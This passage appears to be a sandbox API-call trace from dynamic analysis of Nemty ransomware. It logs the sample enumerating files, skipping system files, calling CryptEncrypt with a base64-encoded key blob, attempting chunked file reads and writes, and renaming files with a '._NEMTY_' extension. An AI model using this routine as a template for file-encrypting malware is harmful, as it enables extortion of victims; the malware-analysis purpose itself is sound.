pcchString=0x653e91c | out: pszString="QSurn8AqAFJeQexzNX4qRvPFzG+8RK3byba8bk4LRW1KnDpavITr5UlnZ1c/xPH9\r\nvkxqxsDCjmbSbZ4z6CogHUDv77nzM5rBMk0RGEab6jk8s5nre3qUI/is68kbSHAD\r\nb8mfvTBHOW5hTbM2eDZ4L7C9GjYxRVYyN6Ze5Q+tEuwNP/PVLmMVUu4+Cun7YRS3\r\nge3aUteRJ8DNGliF4BaDJkYiwkiutlEgzT0RIgkIyHv1SMIVBQ3AtlCrHdf1ose4\r\nf57AZwi4ESB/Z09HW94SWeCQnfCAjCTF5XA+ia5ds2s71cyUGdOVIx7+qra+v/vF\r\ncoYHU61JUSNrH7VCN8vtcQ==\r\n", pcchString=0x653e91c) returned 1 [0060.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0060.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0060.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0060.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0060.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0060.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0060.838] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0060.839] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0060.839] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0060.839] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.839] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0060.849] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.849] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0060.849] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.849] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0060.858] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.858] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0060.858] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.858] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0060.868] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.868] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0060.868] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.868] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0060.877] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.877] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0060.877] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.877] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0060.887] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.887] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0060.887] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.887] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0060.896] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.896] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0060.896] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.896] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0060.906] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.906] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0060.906] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.906] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0060.915] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.915] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0060.915] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.915] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0060.925] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.925] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0060.925] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.925] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0060.934] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.934] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0060.934] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.934] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0060.940] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.940] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0060.940] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.940] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0060.946] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.946] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0060.946] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.947] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0060.947] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0060.947] CloseHandle (hObject=0xffffffff) returned 0 [0060.947] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0060.947] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0060.947] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0060.947] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0060.947] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0060.947] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0060.947] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0060.947] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x4f94338 [0060.947] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0060.947] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0060.947] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\1047x576black.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\1047x576black.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\1047x576black.png._nemty_kgobjgd_")) returned 0 [0060.947] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94338 | out: hHeap=0x4f90000) returned 1 [0060.947] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0060.947] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0060.947] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0060.947] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0060.947] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0060.947] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0060.947] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0060.947] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0060.947] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0060.948] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe3ea46, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe3ea46, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0060.948] lstrcmpiW (lpString1="203x8subpicture.png", lpString2=".") returned 1 [0060.948] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="..") returned 1 [0060.948] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="...") returned 1 [0060.948] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="windows") returned -1 [0060.948] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="$RECYCLE.BIN") returned 1 [0060.948] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="rsa") returned -1 [0060.948] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="NTDETECT.COM") returned -1 [0060.948] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="ntldr") returned -1 [0060.948] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="MSDOS.SYS") returned -1 [0060.948] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="IO.SYS") returned -1 [0060.948] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="boot.ini") returned -1 [0060.948] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="boot.ini") returned -1 [0060.948] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="AUTOEXEC.BAT") returned -1 [0060.948] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="ntuser.dat") returned -1 [0060.948] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="desktop.ini") returned -1 [0060.948] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="CONFIG.SYS") returned -1 [0060.948] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="RECYCLER") returned -1 [0060.948] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="BOOTSECT.BAK") returned -1 [0060.948] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="bootmgr") returned -1 [0060.948] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="programdata") returned -1 [0060.948] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="appdata") returned -1 [0060.948] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0060.948] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="203x8subpicture.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0060.948] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0060.948] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="203x8subpicture.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="203x8subpicture.png", lpUsedDefaultChar=0x0) returned 19 [0060.948] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0060.948] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0060.948] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="203x8subpicture.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0060.948] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0060.948] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="203x8subpicture.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="203x8subpicture.png", lpUsedDefaultChar=0x0) returned 19 [0060.948] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0060.948] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0060.948] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0060.949] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0060.949] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="203x8subpicture.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0060.949] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0060.949] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="203x8subpicture.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="203x8subpicture.png", lpUsedDefaultChar=0x0) returned 19 [0060.949] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0060.949] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0060.949] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="203x8subpicture.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0060.949] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0060.949] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="203x8subpicture.png", cchWideChar=19, lpMultiByteStr=0x4f9ed08, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="203x8subpicture.png", lpUsedDefaultChar=0x0) returned 19 [0060.949] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0060.949] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94338 [0060.949] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0060.949] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0060.949] Sleep (dwMilliseconds=0x5) [0060.962] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd7fbc230, dwHighDateTime=0x1d561e7)) [0060.962] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd7fbc230, dwHighDateTime=0x1d561e7)) [0060.962] GetLastError () returned 0x5 [0060.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0060.963] GetLastError () returned 0x5 [0060.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0060.963] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0060.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0060.963] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0060.963] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0060.963] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0060.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0060.963] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="J2PfDQbtluLaXjsrtXZhvY7MXBEV+qHZkTvqJAf55/sAh84jP+ZGa9SUNY/I71FT\r\n4Tnh9p5ExWmDrdD29atcEqP9o6m2WN1uVlwpsto20arBFFC3xKX5+a2O+9SfeSI5\r\nTBZ//nQemR7D8nRBJDo2w6CGzuP7OGbeS/2QRNf0AF/FX2z9NSumeOTLe9WDnALT\r\nVciZStv9PWu0+0yVWd95PnBoiehijkou8zo72kOb22rnKUDkR4cLKfO/KDyMnTn7\r\n7u+17JPsQP2lXj1799/Ex3bNqWUAbtMd5HcroYfK9LhzwBxcrJd5Z5bRHsuxfjGT\r\nbDqBv0QsSnTaiR0lO+98Pg==\r\n", pcchString=0x653e91c) returned 1 [0060.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0060.963] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0060.963] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0060.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0060.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0060.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0060.963] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\203x8subpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0060.975] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0060.976] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0060.976] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.976] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0060.986] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.986] WriteFile (in: hFile=0xffffffff, 